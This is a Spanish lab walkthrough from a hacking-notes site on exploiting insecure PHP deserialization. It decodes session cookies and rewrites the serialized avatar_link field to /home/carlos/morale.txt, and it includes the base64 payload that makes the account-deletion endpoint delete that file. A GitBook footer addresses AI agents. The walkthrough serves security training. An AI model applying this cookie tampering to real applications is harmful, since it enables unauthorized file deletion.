> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/deserialization/operation-via-application-functionalities.md).

# Explotación de la funcionalidad de la aplicación

### Uso de la funcionalidad de la aplicación para explotar la deserialización insegura

Este laboratorio utiliza un mecanismo de sesión basado en **serialización**. / Una funcionalidad de la aplicación invoca un **método peligroso** a partir de datos contenidos en un objeto serializado controlado por el usuario.

Modifica el objeto serializado en la cookie de sesión para provocar que el **`morale.txt`** archivo sea eliminado del directorio personal de **Carlos**.

**Cuentas disponibles**

* Cuenta de usuario principal: `wiener:peter`
* Cuenta de emergencia: `gregg:rosebud`

<figure><img src="/files/1ed374e1cf502184e7c026160f6d1ab40b5e548c" alt=""><figcaption></figcaption></figure>

**Análisis de las cookies de sesión**

Después de la autenticación, la sesión se almacena en una cookie que contiene un objeto PHP serializado de tipo `Usuario`.

**Cookie de Wiener (después de decodificar)**:

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"ftqcpwp5pletd4pz6qoblbohxt2by9zk";s:11:"avatar_link";s:19:"users/wiener/avatar";}
```

{% endcode %}

**Cookie de Gregg (después de decodificar)**:

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:18:"users/gregg/avatar";}
```

{% endcode %}

Se observa que el **`avatar_link`** atributo es utilizado por la aplicación en ciertas acciones.

**Funcionalidad operable**

Cuando el usuario hace clic en **Eliminar cuenta**, se envía una solicitud a:

```http
/my-account/delete
```

Esta función procesa el valor de `avatar_link` y desencadena una operación sobre el archivo señalado por este campo, sin validación suficiente.

{% code overflow="wrap" %}

```json
O:4:"User":3:{s:8:"username";s:5:"gregg";s:12:"access_token";s:32:"xwtc1qpfy2h62e8xeokonwug6zpf6fxq";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}
```

{% endcode %}

**Explotación**

La idea es **reemplazar el valor de `avatar_link`** por una ruta arbitraria que lleve al archivo que se va a eliminar.

**Propósito serializado modificado**:

```
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImdyZWdnIjtzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI6Inh3dGMxcXBmeTJoNjJlOHhlb2tvbnd1ZzZ6cGY2ZnhxIjtzOjExOiJhdmF0YXJfbGluayI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=
```

Después de enviar la solicitud a `/my-account/delete`, el servidor responde:

<figure><img src="/files/161837d50df4f88c427b30189bb4bfc08774cc83" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/deserialization/operation-via-application-functionalities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
